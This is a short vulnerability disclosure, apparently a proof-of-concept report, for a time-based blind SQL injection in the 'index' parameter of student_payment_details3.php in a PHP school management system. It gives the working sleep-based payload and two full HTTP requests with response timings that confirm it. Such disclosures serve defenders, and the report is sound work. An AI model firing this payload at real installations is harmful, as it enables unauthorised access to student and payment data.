

SQL injection vulnerability exists in index parameter of /view/student_payment_details3.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays the following details:

- Method: GET
- URL: /std1/view/student_payment_details3.php?index='%2B(select(0)from(select(sleep(2)))v)%2B'&page=page
- HTTP Version: 1.1
- Accept: */*
- X-Requested-With: XMLHttpRequest
- Referer: http://192.168.31.163/std1
- Cookie: PHPSESSID=95dng85hgflj1vcqlqbcm92pd
- Accept-Encoding: gzip, deflate, br
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
- Host: 192.168.31.163
- Connection: Keep-alive

The 'Response' tab displays the following details:

- HTTP Version: 1.1
- Status: 200 OK
- Server: nginx/1.15.11
- Date: Thu, 18 Apr 2024 16:33:32 GMT
- Content-Type: text/html; charset=UTF-8
- Connection: keep-alive
- X-Powered-By: PHP/7.3.4
- Content-Length: 2171

The response body shows HTML code for a modal dialog. The status bar at the bottom indicates 'Done' and '2,361 bytes | 4,020 millis'.

Sleep time is 12s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays the following details:

- Method: GET
- URL: /std1/view/student_payment_details3.php?index='%2B(select(0)from(select(sleep(6)))v)%2B'&page=page
- HTTP Version: 1.1
- Accept: */*
- X-Requested-With: XMLHttpRequest
- Referer: http://192.168.31.163/std1
- Cookie: PHPSESSID=95dng85hgflj1vcqlqbcm92pd
- Accept-Encoding: gzip, deflate, br
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
- Host: 192.168.31.163
- Connection: Keep-alive

The 'Response' tab displays the following details:

- HTTP Version: 1.1
- Status: 200 OK
- Server: nginx/1.15.11
- Date: Thu, 18 Apr 2024 16:33:58 GMT
- Content-Type: text/html; charset=UTF-8
- Connection: keep-alive
- X-Powered-By: PHP/7.3.4
- Content-Length: 2171

The response body shows HTML code for a modal dialog. The status bar at the bottom indicates 'Done' and '2,361 bytes | 12,015 millis'.

Payload: index='%2B(select(0)from(select(sleep(2)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>